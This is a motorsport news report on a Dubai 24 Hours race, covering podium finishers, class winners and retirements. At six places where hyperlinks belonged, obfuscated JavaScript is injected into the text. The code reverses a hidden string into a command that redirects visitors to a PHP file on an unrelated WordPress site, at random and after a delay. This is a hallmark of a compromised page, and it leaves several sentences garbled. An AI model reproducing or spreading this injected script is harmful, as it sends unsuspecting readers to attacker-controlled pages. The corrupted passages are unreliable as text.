The fact that none of the drivers – Lorenzo Carvalho, Lorenzo Case, Marco Cioci and former-Formula One driver Mika Salo – had come to blows with backmarkers or errant wheels from BMWs (just ask the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/nissan-gt-academy-from-the-ps3-to-the-track/” target=”_blank”>Nissan GT Academy squad for their thoughts on such an incident) was nothing short of miraculous.
The Craft Racing AMR boys though were delighted. In their inaugural Dubai 24hrs race, cheers had been thrown when Turner, Frank Yu, Tomonobu Fuijii, Darryl O’Young and Stefan Mucke planted the #15 Aston Martin Vantage third on the grid, and most of the mechanics were out of the seat as Turner battled for the lead early doors.
Pit stop delays meant the Aston Martin had fallen back as the race reached half distance, and steady runners Fach Auto Tech looked good for the final step of the podium with the #8 Porsche 997 GT3 R.
Running just two minutes behind and two seconds a lap faster as the race reached its final hour meant the Aston Martin overhauled Otto Klohs, Martin Ragginger, Carlo Lusser and Jens Richter in the closing stages to secure the final step of the podium first time out the box. Pro-Am victory though was ample consolation for the Swiss team.
A Pro-Am victory that had looked to be in Dragon Racing’s pocket. A fired up Rob Barff had the #88 Ferrari 458 Italia – a familiar sight on the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/uae_gt_championship/” target=”_blank”>UAE GT Championship and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/uae-touring-cars/” target=”_blank”>UAE Touring Car scene – breathing down the leaders’ necks during the opening stages, and was even running as high as third at midpoint.
The team’s outstanding effort though came to an end just after 2pm when power steering issues that had plagued Barff, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/shot-of-the-day/shot-of-the-day-ferrari-333sp-caged/” target=”_blank”>Leon Price, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/radicals/” target=”_blank”>Jordan Grogor and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-on-the-grid-with/” target=”_blank”>Matt Griffin for several hours finally dealt the terminal blow.
The man of mystery all weekend – Mr John of B – drove the #41 Porsche 997 Cup across the stripe to secure 997 Class victory for Crubile Sport, while Luc and Max Braams, Duncan Huisman and Oliver Freymuth cemented SP2 victory in the Equipe Verschuur Renault Megane Trophy.
Vic Rice, Shane Lewis, Henk Thijssen and Trevor Knight meanwhile secured SP3 victory for Cor Euser Racing in the #148 Lotus Evora GT4. Pieter van Soelen, Harry Hilders, Koen Bogaerts and Bas Schouten followed their fellow class winners home line-astern to take A5 honours in the #63 JR Motorsport BMW E46 GTR.
Despite a late-night punt that left them stranded on the outside of turn 15, Racing Divas Liesette Braams, Sheila Verschuur, Gaby Uljee, Paulien Zwart, and Sandra van der Sloot – contesting the event to raise awareness for Amyotrophic lateral sclerosis – brought the #121 BMW 320D home to take A3T Class victory.
At the tail end, tyre issues and even an engine issues couldn’t stop local boys SVDP cementing D1 Category victory in the BMW 120D, despite a last minute change in their driver line-up.
